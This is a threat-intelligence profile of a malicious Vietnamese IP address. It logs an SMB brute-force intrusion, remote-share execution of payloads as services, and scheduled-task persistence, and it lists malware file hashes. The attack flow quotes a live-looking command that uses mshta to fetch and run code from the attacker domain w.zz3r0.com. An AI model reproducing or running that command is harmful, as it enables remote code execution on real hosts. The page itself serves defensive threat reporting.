Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 113.161.95.131Malicious

IP Address: 113.161.95.131Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Share Connect File Operation By CMD MSSQL Download and Execute Scheduled Task Run Service Deletion Execute from Share Access Share CMD Access Suspicious Domain DNS Query Scheduled Task Creation Successful SMB Login SMB Brute Force Service Creation Service Start Service Stop Download File SMB

Associated Attack Servers

w.zz3r0.com

Basic Information

IP Address

113.161.95.131

Domain

-

ISP

Vietnam Posts And Telecommunications Group

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-10-13

Last seen in Akamai Guardicore Segmentation

2024-09-28

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: admin - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

A user logged in using SMB with the following username: admin - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 5 times

Successful SMB Login SMB Brute Force

C:\QXCMptMm.exe was downloaded

Download File

whcealuk.exe was executed from the remote share \\server-backup\c

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c\whcealuk.exe as a service named CxIj under service group None

Service Start Service Creation

qxcmptmm.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\qxcmptmm.exe as a service named bHdm under service group None

Service Start Service Creation

C:\windows\temp\tmp.vbs was downloaded

Download File

Service bHdm was stopped

Service Stop

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

C:\uppocTvi.exe was downloaded

Download File

uppoctvi.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\uppoctvi.exe as a service named ouHO under service group None

Service Start Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded 2 times

Download File

C:\jiLjFndJ.exe was downloaded

Download File

jiljfndj.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\jiljfndj.exe as a service named RnVP under service group None

Service Start Service Creation

Service RnVP was stopped

Service Stop

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 4 times

Successful SMB Login SMB Brute Force

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line c:\windows\wkwoxpl.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com 2 times

DNS Query Access Suspicious Domain

The file C:\WINDOWS\ASRkCTh.exe was downloaded and executed 2 times

Download and Execute

bkohyocs.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\bkohyocs.exe as a service named PAoU under service group None

Service Start Service Creation

Service PAoU was stopped

Service Stop

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 0c12253e92b5c0daa1ea0f9527272552b56b3d3dfc5e4e57cbf80a0c68593fb9

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 10c46f712467c2343e27cb0367a63df4ec2e6749dff8f5aeb6b9fd071a2296e0

260000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 1174ae8e133d325366c4ea1f58ef93b47ed29886ba16e5f8de34cc4089ca1e68

130000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 1fd7ce1553551998c68de4e902f13ac169fc53dc81036dacce7dbbf04183e122

195000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 20d11902f74a5605c0652519ec0e111e5c2481bc796dbac97dfa7bc489a07885

65000 bytes

C:\lnpFOOyh.exe

SHA256: 263bdd4e70f1b1c7cfbeb5ca7325a7efcd13d73f47cdbc7e3a9899174e29bb5d

56320 bytes